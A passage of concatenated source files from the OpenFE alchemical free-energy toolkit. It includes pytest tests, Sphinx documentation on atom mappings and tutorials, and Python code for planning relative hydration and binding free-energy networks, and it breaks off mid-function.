<file_sep>from unittest import mock import pytest import importlib import os from click.testing import CliRunner from openfecli.commands.plan_rhfe_network import ( plan_rhfe_network, plan_rhfe_network_main, ) @pytest.fixture def mol_dir_args(): with importlib.resources.path( "openfe.tests.data.openmm_rfe", "__init__.py" ) as file_path: ofe_dir_path = os.path.dirname(file_path) return ["--molecules", ofe_dir_path] def print_test_with_file( mapping_scorer, ligand_network_planner, small_molecules, solvent ): print(mapping_scorer) print(ligand_network_planner) print(small_molecules) print(solvent) def test_plan_rhfe_network_main(): import os, glob from gufe import SmallMoleculeComponent, SolventComponent from openfe.setup import ( LomapAtomMapper, lomap_scorers, ligand_network_planning, ) with importlib.resources.path( "openfe.tests.data.openmm_rfe", "__init__.py" ) as file_path: smallM_components = [ SmallMoleculeComponent.from_sdf_file(f) for f in glob.glob(os.path.dirname(file_path) + "/*.sdf") ] solvent_component = SolventComponent() alchemical_network, ligand_network = plan_rhfe_network_main( mapper=LomapAtomMapper(), mapping_scorer=lomap_scorers.default_lomap_score, ligand_network_planner=ligand_network_planning.generate_minimal_spanning_network, small_molecules=smallM_components, solvent=solvent_component, ) assert alchemical_network assert ligand_network def test_plan_rhfe_network(mol_dir_args): """ smoke test """ args = mol_dir_args expected_output_always = [ "RHFE-NETWORK PLANNER", "Solvent: SolventComponent(name=O, Na+, Cl-)", "- tmp_network.json", ] # we can get these in either order: 22 then 55 or 55 then 22 expected_output_1 = [ "Small Molecules: SmallMoleculeComponent(name=ligand_23) SmallMoleculeComponent(name=ligand_55)", "- easy_rhfe_ligand_23_vacuum_ligand_55_vacuum.json", "- easy_rhfe_ligand_23_solvent_ligand_55_solvent.json", ] expected_output_2 = [ "Small Molecules: SmallMoleculeComponent(name=ligand_55) SmallMoleculeComponent(name=ligand_23)", "- easy_rhfe_ligand_55_vacuum_ligand_23_vacuum.json", "- easy_rhfe_ligand_55_solvent_ligand_23_solvent.json", ] patch_base = ( "openfecli.commands.plan_rhfe_network." ) args += ["-o", "tmp_network"] patch_loc = patch_base + "plan_rhfe_network" patch_func = print_test_with_file runner = CliRunner() with mock.patch(patch_loc, patch_func): with runner.isolated_filesystem(): result = runner.invoke(plan_rhfe_network, args) print(result.output) assert result.exit_code == 0 for line in expected_output_always: assert line in result.output for l1, l2 in zip(expected_output_1, expected_output_2): assert l1 in result.output or l2 in result.output <file_sep>.. _cli_plan-rhfe-network: ``plan-rhfe-network`` command ============================= .. click:: openfecli.commands.plan_rhfe_network:plan_rhfe_network :prog: openfe plan-rhfe-network <file_sep>import pytest from openfe.setup.atom_mapping.ligandatommapper import LigandAtomMapper class TestAtomMapper: def test_abstract_error(self, simple_mapping): # suggest_mappings should fail with NotImplementedError if the user # tries to directly user the abstract class molA = simple_mapping.componentA molB = simple_mapping.componentB with pytest.raises(TypeError): mapper = LigandAtomMapper() list(mapper.suggest_mappings(molA, molB)) def test_concrete_mapper(self, simple_mapping, other_mapping): # a correctly implemented concrete atom mapping should return the # mappings generated by the _mappings_generator molA = simple_mapping.componentA molB = simple_mapping.componentB class ConcreteLigandAtomMapper(LigandAtomMapper): def __init__(self, mappings): self.mappings = mappings def _mappings_generator(self, componentA, componentB): for mapping in self.mappings: yield mapping.componentA_to_componentB mapper = ConcreteLigandAtomMapper([simple_mapping, other_mapping]) results = list(mapper.suggest_mappings(molA, molB)) assert len(results) == 2 assert results == [simple_mapping, other_mapping] <file_sep>.. template taken from SciPy who took it from Pandas (keep the chain going) .. module:: openfe ==================================== Welcome to the OpenFE documentation! ==================================== **Useful Links**: `OpenFE Website <https://openfree.energy/>`__ | `Example Tutorial notebooks <https://github.com/OpenFreeEnergy/ExampleNotebooks/>`__ | `Source Repository <https://github.com/OpenFreeEnergy/openfe/>`__ | `Issues & Ideas <https://github.com/OpenFreeEnergy/openfe/issues/>`__ The **OpenFE** toolkit provides open-source frameworks for calculating alchemical free energies. .. grid:: 1 2 3 4 :gutter: 3 .. grid-item-card:: Installing OpenFE :img-top: _static/Download.svg :text-align: center :link: installation :link-type: doc New to *OpenFE*? Check out our installation guide to get it working on your machine! .. grid-item-card:: Tutorials :img-top: _static/Tutorial.svg :text-align: center :link: tutorials/index :link-type: doc Worked through examples of how to use the OpenFE toolkit. .. grid-item-card:: User Guide :img-top: _static/UserGuide.svg :text-align: center :link: guide/index :link-type: doc Learn about the underlying concepts of the OpenFE toolkit. .. grid-item-card:: API Reference :img-top: _static/API.svg :text-align: center :link: reference/index :link-type: doc Get details on the toolkit's core methods and classes. .. grid-item-card:: Cookbook :img-top: _static/Cookbook.svg :text-align: center :link: cookbook/index :link-type: doc How-to guides on how to utilise the toolkit components. .. grid-item-card:: Using the CLI :img-top: _static/CLI.svg :text-align: center :link: guide/cli :link-type: doc Reference guide on using the OpenFE CLI. .. grid-item-card:: Relative Free Energy Protocol :img-top: _static/Rocket.svg :text-align: center :link: reference/api/openmm_rfe :link-type: doc Documentation for OpenFE's OpenMM-based Hybrid Topology Relative Free Energy Protocol. .. toctree:: :maxdepth: 2 :hidden: installation tutorials/index guide/index cookbook/index reference/index Indices and tables ------------------ * :ref:`genindex` * :ref:`modindex` * :ref:`search` <file_sep>Tutorials ========= .. todo: make sure we can inline the tutorial, for now we only provide links OpenFE has several tutorial notebooks which are maintained on our `Example Notebooks repository <https://github.com/OpenFreeEnergy/ExampleNotebooks>`_. For new users, we recommend the following two: Relative Free Energies CLI tutorial ----------------------------------- The `Relative Free Energies with the OpenFE CLI <https://github.com/OpenFreeEnergy/ExampleNotebooks/blob/main/rbfe_tutorial/cli_tutorial.md>`_ tutorial walks users through how to use the OpenFE command line to calculate relative hydration free energies from a small set of benzene modifications. Associated with it is also a `notebook <https://github.com/OpenFreeEnergy/ExampleNotebooks/blob/main/rbfe_tutorial/python_tutorial.ipynb>`_ for how to achieve the same outcomes using the Python API. Python API Showcase ------------------- Our `showcase notebook <https://github.com/OpenFreeEnergy/ExampleNotebooks/blob/main/openmm_rbfe/OpenFE_showcase_1_RBFE_of_T4lysozyme.ipynb>`_ walks users through how to use the main components of OpenFE to create a relative binding free energy calculation. <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from plugcli.plugin_management import CommandPlugin class OFECommandPlugin(CommandPlugin): def __init__(self, command, section, requires_ofe): super().__init__(command=command, section=section, requires_lib=requires_ofe, requires_cli=requires_ofe) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from pathlib import Path import pytest import numpy as np from numpy.testing import assert_equal from openmm import app, MonteCarloBarostat from openmm import unit as ommunit from openff.units import unit from gufe.settings import OpenMMSystemGeneratorFFSettings, ThermoSettings import openfe from openfe.protocols.openmm_utils import ( settings_validation, system_validation, system_creation ) from openfe.protocols.openmm_rfe.equil_rfe_settings import ( SystemSettings, SolvationSettings, ) def test_validate_timestep(): with pytest.raises(ValueError, match="too large for hydrogen mass"): settings_validation.validate_timestep(2.0, 4.0 * unit.femtoseconds) @pytest.mark.parametrize('e,p,ts,mc,es,ps', [ [1 * unit.nanoseconds, 5 * unit.nanoseconds, 4 * unit.femtoseconds, 250, 250000, 1250000], [1 * unit.picoseconds, 1 * unit.picoseconds, 2 * unit.femtoseconds, 250, 500, 500], ]) def test_get_simsteps(e, p, ts, mc, es, ps): equil_steps, prod_steps = settings_validation.get_simsteps(e, p, ts, mc) assert equil_steps == es assert prod_steps == ps @pytest.mark.parametrize('nametype, timelengths', [ ['Equilibration', [1.003 * unit.picoseconds, 1 * unit.picoseconds]], ['Production', [1 * unit.picoseconds, 1.003 * unit.picoseconds]], ]) def test_get_simsteps_indivisible_simtime(nametype, timelengths): errmsg = f"{nametype} time not divisible by timestep" with pytest.raises(ValueError, match=errmsg): settings_validation.get_simsteps( timelengths[0], timelengths[1], 2 * unit.femtoseconds, 100) @pytest.mark.parametrize('nametype, timelengths', [ ['Equilibration', [1 * unit.picoseconds, 10 * unit.picoseconds]], ['Production', [10 * unit.picoseconds, 1 * unit.picoseconds]], ]) def test_mc_indivisible(nametype, timelengths): errmsg = f"{nametype} time 1.0 ps should contain" with pytest.raises(ValueError, match=errmsg): settings_validation.get_simsteps( timelengths[0], timelengths[1], 2 * unit.femtoseconds, 1000) def test_get_alchemical_components(benzene_modifications, T4_protein_component): stateA = openfe.ChemicalSystem({'A': benzene_modifications['benzene'], 'B': benzene_modifications['toluene'], 'P': T4_protein_component, 'S': openfe.SolventComponent(smiles='C')}) stateB = openfe.ChemicalSystem({'A': benzene_modifications['benzene'], 'B': benzene_modifications['benzonitrile'], 'P': T4_protein_component, 'S': openfe.SolventComponent()}) alchem_comps = system_validation.get_alchemical_components(stateA, stateB) assert len(alchem_comps['stateA']) == 2 assert benzene_modifications['toluene'] in alchem_comps['stateA'] assert openfe.SolventComponent(smiles='C') in alchem_comps['stateA'] assert len(alchem_comps['stateB']) == 2 assert benzene_modifications['benzonitrile'] in alchem_comps['stateB'] assert openfe.SolventComponent() in alchem_comps['stateB'] def test_duplicate_chemical_components(benzene_modifications): stateA = openfe.ChemicalSystem({'A': benzene_modifications['toluene'], 'B': benzene_modifications['toluene'],}) stateB = openfe.ChemicalSystem({'A': benzene_modifications['toluene']}) errmsg = "state A components B:" with pytest.raises(ValueError, match=errmsg): system_validation.get_alchemical_components(stateA, stateB) def test_validate_solvent_nocutoff(benzene_modifications): state = openfe.ChemicalSystem({'A': benzene_modifications['toluene'], 'S': openfe.SolventComponent()}) with pytest.raises(ValueError, match="nocutoff cannot be used"): system_validation.validate_solvent(state, 'nocutoff') def test_validate_solvent_multiple_solvent(benzene_modifications): state = openfe.ChemicalSystem({'A': benzene_modifications['toluene'], 'S': openfe.SolventComponent(), 'S2': openfe.SolventComponent()}) with pytest.raises(ValueError, match="Multiple SolventComponent"): system_validation.validate_solvent(state, 'pme') def test_not_water_solvent(benzene_modifications): state = openfe.ChemicalSystem({'A': benzene_modifications['toluene'], 'S': openfe.SolventComponent(smiles='C')}) with pytest.raises(ValueError, match="Non water solvent"): system_validation.validate_solvent(state, 'pme') def test_multiple_proteins(T4_protein_component): state = openfe.ChemicalSystem({'A': T4_protein_component, 'B': T4_protein_component}) with pytest.raises(ValueError, match="Multiple ProteinComponent"): system_validation.validate_protein(state) def test_get_components_gas(benzene_modifications): state = openfe.ChemicalSystem({'A': benzene_modifications['benzene'], 'B': benzene_modifications['toluene'],}) s, p, mols = system_validation.get_components(state) assert s is None assert p is None assert len(mols) == 2 def test_components_solvent(benzene_modifications): state = openfe.ChemicalSystem({'S': openfe.SolventComponent(), 'A': benzene_modifications['benzene'], 'B': benzene_modifications['toluene'],}) s, p, mols = system_validation.get_components(state) assert s == openfe.SolventComponent() assert p is None assert len(mols) == 2 def test_components_complex(T4_protein_component, benzene_modifications): state = openfe.ChemicalSystem({'S': openfe.SolventComponent(), 'A': benzene_modifications['benzene'], 'B': benzene_modifications['toluene'], 'P': T4_protein_component,}) s, p, mols = system_validation.get_components(state) assert s == openfe.SolventComponent() assert p == T4_protein_component assert len(mols) == 2 @pytest.fixture(scope='module') def get_settings(): forcefield_settings = OpenMMSystemGeneratorFFSettings() thermo_settings = ThermoSettings( temperature=298.15 * unit.kelvin, pressure=1 * unit.bar, ) system_settings = SystemSettings() return forcefield_settings, thermo_settings, system_settings class TestSystemCreation: @staticmethod def get_settings(): forcefield_settings = OpenMMSystemGeneratorFFSettings() thermo_settings = ThermoSettings( temperature=298.15 * unit.kelvin, pressure=1 * unit.bar, ) system_settings = SystemSettings() return forcefield_settings, thermo_settings, system_settings def test_system_generator_nosolv_nocache(self, get_settings): ffsets, thermosets, systemsets = get_settings generator = system_creation.get_system_generator( ffsets, thermosets, systemsets, None, False) assert generator.barostat is None assert generator.template_generator._cache is None assert not generator.postprocess_system forcefield_kwargs = { 'constraints': app.HBonds, 'rigidWater': True, 'removeCMMotion': False, 'hydrogenMass': 3.0 * ommunit.amu } assert generator.forcefield_kwargs == forcefield_kwargs periodic_kwargs = { 'nonbondedMethod': app.PME, 'nonbondedCutoff': 1.0 * ommunit.nanometer } nonperiodic_kwargs = {'nonbondedMethod': app.NoCutoff,} assert generator.nonperiodic_forcefield_kwargs == nonperiodic_kwargs assert generator.periodic_forcefield_kwargs == periodic_kwargs def test_system_generator_solv_cache(self, get_settings): ffsets, thermosets, systemsets = get_settings generator = system_creation.get_system_generator( ffsets, thermosets, systemsets, Path('./db.json'), True) assert isinstance(generator.barostat, MonteCarloBarostat) assert generator.template_generator._cache == 'db.json' def test_get_omm_modeller_complex(self, T4_protein_component, benzene_modifications, get_settings): ffsets, thermosets, systemsets = get_settings generator = system_creation.get_system_generator( ffsets, thermosets, systemsets, None, True) mol = benzene_modifications['toluene'].to_openff() generator.create_system(mol.to_topology().to_openmm(), molecules=[mol]) model, comp_resids = system_creation.get_omm_modeller( T4_protein_component, openfe.SolventComponent(), [benzene_modifications['toluene'],], generator.forcefield, SolvationSettings()) resids = [r for r in model.topology.residues()] assert resids[163].name == 'NME' assert resids[164].name == 'UNK' assert resids[165].name == 'HOH' assert_equal(comp_resids[T4_protein_component], np.linspace(0, 163, 164)) assert_equal(comp_resids[benzene_modifications['toluene']], np.array([164])) assert_equal(comp_resids[openfe.SolventComponent()], np.linspace(165, len(resids)-1, len(resids)-165)) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pytest from rdkit import Chem from importlib import resources from openfe import SmallMoleculeComponent from openfe.tests.setup.test_network import mols, std_edges, simple_network @pytest.fixture(scope='session') def benzene_transforms(): # a dict of Molecules for benzene transformations mols = {} with resources.path('openfe.tests.data', 'benzene_modifications.sdf') as fn: supplier = Chem.SDMolSupplier(str(fn), removeHs=False) for mol in supplier: mols[mol.GetProp('_Name')] = SmallMoleculeComponent(mol) return mols <file_sep>.. _Creating Atom Mappings: Creating Atom Mappings ====================== Once your :ref:`data has been loaded<Loading Molecules>` we can now proceed to defining how Components in these Systems correspond. ``Mapping`` objects are used to defined how ``Component`` objects from different :class:`ChemicalSystems` are related. This guide will show how this concept applies to the case of a pair of ligands we wish to transform between. Generating Mappings ------------------- Mappings between small molecules are generated by a :class:`.LigandAtomMapper`, which are reusable classes. These take pairs of :class:`openfe.SmallMoleculeComponent` objects and suggests zero (in the case that no mapping can be found) or more mappings. Built in to the ``openfe`` package are bindings to the `Lomap <https://github.com/OpenFreeEnergy/Lomap>`_ package, including the :class:`openfe.setup.LomapAtomMapper` which uses an MCS approach based on the RDKit. This takes various parameters which control how it produces mappings, these are viewable through ``help(LomapAtomMapper)``. This is how we can create a mapping between two ligands: .. code:: import openfe from openfe import setup # as previously detailed, load a pair of ligands m1 = SmallMoleculeComponent(...) m2 = SmallMoleculeComponent(...) # first create the object which is a mapping producer mapper = setup.LomapAtomMapper(threed=True) # this gives an iterable of possible mappings, zero or more! mapping_gen = mapper.suggest_mappings(m1, m2) # all possible mappings can be extracted into a list mappings = list(mapping_gen) # Lomap always produces a single Mapping, so extract it from the list mapping = mappings[0] The first and second ligand molecules put into the ``suggest_mappings`` method are then henceforth referred to as ``componentA`` and ``componentB``. The correspondence of atoms in these two components is then given via the ``.componentA_to_componentB`` attribute, which returns a dictionary of integers. Keys in this dictionary refer to the indices of atoms in the "A" molecule, while the corresponding values refer to indices of atoms in the "B" molecule. If a given index does not appear, then it is unmapped. .. note:: Like the Component objects, a Mapping object is immutable once created! Visualising Mappings -------------------- In an interactive notebook we can view a 2D representation of the mapping. In this view, atoms that are deleted are coloured red, while atoms that undergo an elemental transformation are coloured blue. Similarly, bonds that are deleted are coloured red, while bonds that change, either bond order or are between different elements, are coloured blue. .. image:: img/2d_mapping.png :width: 90% :align: center :alt: Sample output of 2d mapping visualisation These 2D mappings can be saved to file using the :func:`LigandAtomMapping.draw_to_file` function. With the ``py3dmol`` package installed, we can also view the mapping in 3D allowing us to manually inspect the spatial overlap of the mapping. In a notebook, this produces an interactive rotatable view of the mapping. The left and rightmost views show the "A" and "B" molecules with coloured spheres on each showing the correspondence between atoms. The centre view shows both molecules overlaid, allowing the spatial correspondence to be directly viewed. .. code:: from openfe.utils import visualization_3D view = visualization_3D.view_mapping_3d(mapping) .. image:: img/3d_mapping.png :width: 90% :align: center :alt: Sample output of view_mapping_3d function The cartesian distance between pairs of atom mapping is also available via the :meth:`.get_distances()` method. This returns a numpy array. .. code:: mapping.get_distances() Scoring Mappings ---------------- With many possible mappings, and many ligand pairs we could form mappings between, we use **scorers** to rate if a mapping is a good idea. These take a ``LigandAtomMapping`` object and return a value from 0.0 (indicating a great mapping) to 1.0 (indicating a terrible mapping). Again, the scoring functions from Lomap are included in the ``openfe`` package. The :func:`default_lomap_score` function combines many different criteria together such as the number of heavy atoms, if certain chemical changes are present, and if ring sizes are being mutated, into a single value. .. code:: from openfe.setup.lomap_scorers mapping = next(mapper.suggest_mappings(m1, m2)) score = lomap_scorers.default_lomap_scorer(mapping) As each scoring function returns a normalised value, it is possible to chain together various scoring functions, which is how this ``default_lomap_score`` function is constructed! <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from rdkit import Chem import pytest from gufe import ChemicalSystem from openfe.setup.chemicalsystem_generator.easy_chemicalsystem_generator import ( EasyChemicalSystemGenerator, ) from ...conftest import T4_protein_component from gufe import SolventComponent from .component_checks import proteinC_in_chem_sys, solventC_in_chem_sys, ligandC_in_chem_sys def test_easy_chemical_system_generator_init(T4_protein_component): chem_sys_generator = EasyChemicalSystemGenerator(do_vacuum=True) chem_sys_generator = EasyChemicalSystemGenerator(solvent=SolventComponent()) chem_sys_generator = EasyChemicalSystemGenerator( solvent=SolventComponent(), protein=T4_protein_component ) chem_sys_generator = EasyChemicalSystemGenerator( solvent=SolventComponent(), protein=T4_protein_component, do_vacuum=True ) with pytest.raises(ValueError, match='Chemical system generator is unable to generate any chemical systems with neither protein nor solvent nor do_vacuum'): chem_sys_generator = EasyChemicalSystemGenerator() def test_build_vacuum_chemical_system(ethane): chem_sys_generator = EasyChemicalSystemGenerator(do_vacuum=True) chem_sys = next(chem_sys_generator(ethane)) assert chem_sys is not None assert isinstance(chem_sys, ChemicalSystem) assert not proteinC_in_chem_sys(chem_sys) assert not solventC_in_chem_sys(chem_sys) assert ligandC_in_chem_sys(chem_sys) def test_build_solvent_chemical_system(ethane): chem_sys_generator = EasyChemicalSystemGenerator(solvent=SolventComponent()) chem_sys = next(chem_sys_generator(ethane)) assert chem_sys is not None assert isinstance(chem_sys, ChemicalSystem) assert not proteinC_in_chem_sys(chem_sys) assert solventC_in_chem_sys(chem_sys) assert ligandC_in_chem_sys(chem_sys) def test_build_protein_chemical_system(ethane, T4_protein_component): # TODO: cofactors with eg5 system chem_sys_generator = EasyChemicalSystemGenerator( protein=T4_protein_component, ) chem_sys = next(chem_sys_generator(ethane)) assert chem_sys is not None assert isinstance(chem_sys, ChemicalSystem) assert proteinC_in_chem_sys(chem_sys) assert not solventC_in_chem_sys(chem_sys) assert ligandC_in_chem_sys(chem_sys) def test_build_hydr_scenario_chemical_systems(ethane): chem_sys_generator = EasyChemicalSystemGenerator( do_vacuum=True, solvent=SolventComponent() ) chem_sys_gen = chem_sys_generator(ethane) chem_syss = [chem_sys for chem_sys in chem_sys_gen] assert len(chem_syss) == 2 assert all([isinstance(chem_sys, ChemicalSystem) for chem_sys in chem_syss]) assert [proteinC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [False, False] assert [solventC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [False, True] assert [ligandC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [True, True] def test_build_binding_scenario_chemical_systems(ethane, T4_protein_component): chem_sys_generator = EasyChemicalSystemGenerator( solvent=SolventComponent(), protein=T4_protein_component, ) chem_sys_gen = chem_sys_generator(ethane) chem_syss = [chem_sys for chem_sys in chem_sys_gen] assert len(chem_syss) == 2 assert all([isinstance(chem_sys, ChemicalSystem) for chem_sys in chem_syss]) print(chem_syss) assert [proteinC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [False, True] assert [solventC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [True, True] assert [ligandC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [True, True] def test_build_hbinding_scenario_chemical_systems(ethane, T4_protein_component): chem_sys_generator = EasyChemicalSystemGenerator( do_vacuum=True, solvent=SolventComponent(), protein=T4_protein_component, ) chem_sys_gen = chem_sys_generator(ethane) chem_syss = [chem_sys for chem_sys in chem_sys_gen] assert len(chem_syss) == 3 assert all([isinstance(chem_sys, ChemicalSystem) for chem_sys in chem_syss]) assert [proteinC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [False, False, True] assert [solventC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [False, True, True] assert [ligandC_in_chem_sys(chem_sys) for chem_sys in chem_syss] == [True, True, True] <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import abc import copy from typing import Iterable, Callable, Type, Optional from gufe import ( Protocol, AlchemicalNetwork, LigandAtomMapping, Transformation, ChemicalSystem, ) from gufe import SmallMoleculeComponent, ProteinComponent, SolventComponent from .abstract_alchemical_network_planner import ( AbstractAlchemicalNetworkPlanner, ) from .. import LomapAtomMapper from ..ligand_network import LigandNetwork from ..atom_mapping.ligandatommapper import LigandAtomMapper from ..atom_mapping.lomap_scorers import default_lomap_score from ..ligand_network_planning import generate_minimal_spanning_network from ..chemicalsystem_generator.abstract_chemicalsystem_generator import ( AbstractChemicalSystemGenerator, ) from ..chemicalsystem_generator import ( EasyChemicalSystemGenerator, RFEComponentLabels, ) from ...protocols.openmm_rfe.equil_rfe_methods import RelativeHybridTopologyProtocol # TODO: move/or find better structure for protocol_generator combintations! PROTOCOL_GENERATOR = { RelativeHybridTopologyProtocol: EasyChemicalSystemGenerator, } class RelativeAlchemicalNetworkPlanner( AbstractAlchemicalNetworkPlanner, abc.ABC ): _chemical_system_generator: AbstractChemicalSystemGenerator def __init__( self, name: str = "easy_rfe_calculation", mappers: Optional[Iterable[LigandAtomMapper]] = None, mapping_scorer: Callable = default_lomap_score, ligand_network_planner: Callable = generate_minimal_spanning_network, protocol: Optional[Protocol] = None, ): """A simple strategy for executing a given protocol with mapper, mapping_scorers and networks for relative FE approaches. Parameters ---------- name : str, optional name of the approach/project the rfe, by default "easy_rfe_calculation" mappers : Iterable[LigandAtomMapper], optional mappers used to connect the ligands, by default the LomapAtomMapper with sensible default settings mapping_scorer : Callable, optional scorer evaluating the quality of the atom mappings, by default default_lomap_score ligand_network_planner : Callable, optional network using mapper and mapping_scorer to build up an optimal network, by default generate_minimal_spanning_network protocol : Protocol, optional FE-protocol for each transformation (edge of ligand network) that is required in order to calculate the FE graph, by default RelativeHybridTopologyProtocol( RelativeHybridTopologyProtocol._default_settings() ) """ if protocol is None: protocol = RelativeHybridTopologyProtocol(RelativeHybridTopologyProtocol.default_settings()) if mappers is None: mappers = [LomapAtomMapper(time=20, threed=True, element_change=False, max3d=1)] self.name = name self._mappers = mappers self._mapping_scorer = mapping_scorer self._ligand_network_planner = ligand_network_planner self._protocol = protocol self._chemical_system_generator_type = PROTOCOL_GENERATOR[ protocol.__class__ ] @abc.abstractmethod def __call__(self, *args, **kwargs) -> AlchemicalNetwork: ... # -no-cov- @property def mappers(self) -> Iterable[LigandAtomMapper]: return self._mappers @property def mapping_scorer(self) -> Callable: return self._mapping_scorer @property def ligand_network_planner(self) -> Callable: return self._ligand_network_planner @property def transformation_protocol(self) -> Protocol: return self._protocol @property def chemical_system_generator_type( self, ) -> Type[AbstractChemicalSystemGenerator]: return self._chemical_system_generator_type def _construct_ligand_network( self, ligands: Iterable[SmallMoleculeComponent] ) -> LigandNetwork: ligand_network = self._ligand_network_planner( ligands=ligands, mappers=self.mappers, scorer=self.mapping_scorer ) return ligand_network def _build_transformations( self, ligand_network_edges: Iterable[LigandAtomMapping], protocol: Protocol, chemical_system_generator: AbstractChemicalSystemGenerator, ) -> AlchemicalNetwork: """Construct alchemical network by building transformations from ligand network and adding the given protocol to each transformation. Parameters ---------- ligand_network_edges : Iterable[LigandAtomMapping] result from the ligand network planner connecting all Ligands, planning the transformations. protocol : Protocol simulation protocol for each transformation. chemical_system_generator : AbstractChemicalSystemGenerator generator, constructing all required chemical systems for each transformation. Returns ------- AlchemicalNetwork knows all transformations and their states that need to be simulated. """ transformation_edges = [] end_state_nodes = [] for ligand_mapping_edge in ligand_network_edges: for stateA_env, stateB_env in zip( chemical_system_generator(ligand_mapping_edge.componentA), chemical_system_generator(ligand_mapping_edge.componentB), ): transformation_edge = self._build_transformation( ligand_mapping_edge=ligand_mapping_edge, stateA=stateA_env, stateB=stateB_env, transformation_protocol=protocol, ) transformation_edges.append(transformation_edge) end_state_nodes.extend([stateA_env, stateB_env]) # Todo: make the code here more stable in future: Name doubling check all_transformation_labels = list( map(lambda x: x.name, transformation_edges) ) if len(all_transformation_labels) != len( set(all_transformation_labels) ): raise ValueError( "There were multiple transformations with the same edge label! This might lead to overwritting your files. \n labels: " + str(len(all_transformation_labels)) + "\nunique: " + str(len(set(all_transformation_labels))) + "\ngot: \n\t" + "\n\t".join(all_transformation_labels) ) alchemical_network = AlchemicalNetwork( nodes=end_state_nodes, edges=transformation_edges, name=self.name ) return alchemical_network def _build_transformation( self, ligand_mapping_edge: LigandAtomMapping, stateA: ChemicalSystem, stateB: ChemicalSystem, transformation_protocol: Protocol, ) -> Transformation: """ This function is the core of building transformations. it builds a transformation with the given protocol. Parameters ---------- ligand_mapping_edge: LigandAtomMapping stateA: ChemicalSystem stateB: ChemicalSystem Returns ------- Transformation """ transformation_name = self.name + "_" + stateA.name + "_" + stateB.name # Todo: Another dirty hack! - START protocol_settings = copy.deepcopy(transformation_protocol.settings) if "vacuum" in transformation_name: protocol_settings.system_settings.nonbonded_method = "nocutoff" transformation_protocol = transformation_protocol.__class__( settings=protocol_settings ) return Transformation( stateA=stateA, stateB=stateB, mapping={RFEComponentLabels.LIGAND: ligand_mapping_edge}, name=transformation_name, protocol=transformation_protocol, ) class RHFEAlchemicalNetworkPlanner(RelativeAlchemicalNetworkPlanner): def __init__( self, name: str = "easy_rhfe", mappers: Optional[Iterable[LigandAtomMapper]] = None, mapping_scorer: Callable = default_lomap_score, ligand_network_planner: Callable = generate_minimal_spanning_network, protocol: Optional[Protocol] = None, ): super().__init__( name=name, mappers=mappers, mapping_scorer=mapping_scorer, ligand_network_planner=ligand_network_planner, protocol=protocol, ) def __call__( self, ligands: Iterable[SmallMoleculeComponent], solvent: SolventComponent, ) -> AlchemicalNetwork: """plan the alchemical network for the given ligands and solvent. Parameters ---------- ligands : Iterable[SmallMoleculeComponent] ligands that shall be used for the alchemical network. solvent : SolventComponent solvent for solvated simulations Returns ------- AlchemicalNetwork RHFE network for the given ligands and solvent. """ # components might be given differently! # throw into ligand_network_planning self._ligand_network = self._construct_ligand_network(ligands) # Prepare system generation self._chemical_system_generator = self._chemical_system_generator_type( solvent=solvent, do_vacuum=True, ) # Build transformations self._alchemical_network = self._build_transformations( ligand_network_edges=self._ligand_network.edges, protocol=self.transformation_protocol, chemical_system_generator=self._chemical_system_generator, ) return self._alchemical_network class RBFEAlchemicalNetworkPlanner(RelativeAlchemicalNetworkPlanner): def __init__( self, name: str = "easy_rbfe", mappers: Optional[Iterable[LigandAtomMapper]] = None, mapping_scorer: Callable = default_lomap_score, ligand_network_planner: Callable = generate_minimal_spanning_network, protocol: Optional[Protocol] = None, ): super().__init__( name=name, mappers=mappers, mapping_scorer=mapping_scorer, ligand_network_planner=ligand_network_planner, protocol=protocol, ) def __call__( self, ligands: Iterable[SmallMoleculeComponent], solvent: SolventComponent, protein: ProteinComponent, cofactors: Optional[Iterable[SmallMoleculeComponent]] = None, ) -> AlchemicalNetwork: """plan the alchemical network for RBFE calculations with the given ligands, protein and solvent. Parameters ---------- ligands : Iterable[SmallMoleculeComponent] ligands that shall be used for the alchemical network. solvent : SolventComponent solvent for solvated and complex simulations protein : ProteinComponent protein for complex simulations cofactors : Iterable[SmallMoleculeComponent] any cofactors in the system, can be empty list Returns ------- AlchemicalNetwork RBFE network for the given ligands, protein and solvent. """ # components might be given differently! # throw into ligand_network_planning self._ligand_network = self._construct_ligand_network(ligands) # Prepare system generation self._chemical_system_generator = self._chemical_system_generator_type( solvent=solvent, protein=protein, cofactors=cofactors, ) # Build transformations self._alchemical_network = self._build_transformations( ligand_network_edges=self._ligand_network.edges, protocol=self._protocol, chemical_system_generator=self._chemical_system_generator, ) return self._alchemical_network <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """ Reusable utility methods to validate input systems to OpenMM-based alchemical Protocols. """ from typing import Optional, Tuple from openff.toolkit import Molecule as OFFMol from gufe import ( Component, ChemicalSystem, SolventComponent, ProteinComponent, SmallMoleculeComponent ) def get_alchemical_components( stateA: ChemicalSystem, stateB: ChemicalSystem, ) -> dict[str, list[Component]]: """ Checks the equality between Components of two end state ChemicalSystems and identify which components do not match. Parameters ---------- stateA : ChemicalSystem The chemical system of end state A. stateB : ChemicalSystem The chemical system of end state B. Returns ------- alchemical_components : dict[str, list[Component]] Dictionary containing a list of alchemical components for each state. Raises ------ ValueError If there are any duplicate components in states A or B. """ matched_components: dict[Component, Component] = {} alchemical_components: dict[str, list[Component]] = { 'stateA': [], 'stateB': [], } for keyA, valA in stateA.components.items(): for keyB, valB in stateB.components.items(): if valA == valB: if valA not in matched_components.keys(): matched_components[valA] = valB else: # Could be that either we have a duplicate component # in stateA or in stateB errmsg = (f"state A components {keyA}: {valA} matches " "multiple components in stateA or stateB") raise ValueError(errmsg) # populate stateA alchemical components for valA in stateA.components.values(): if 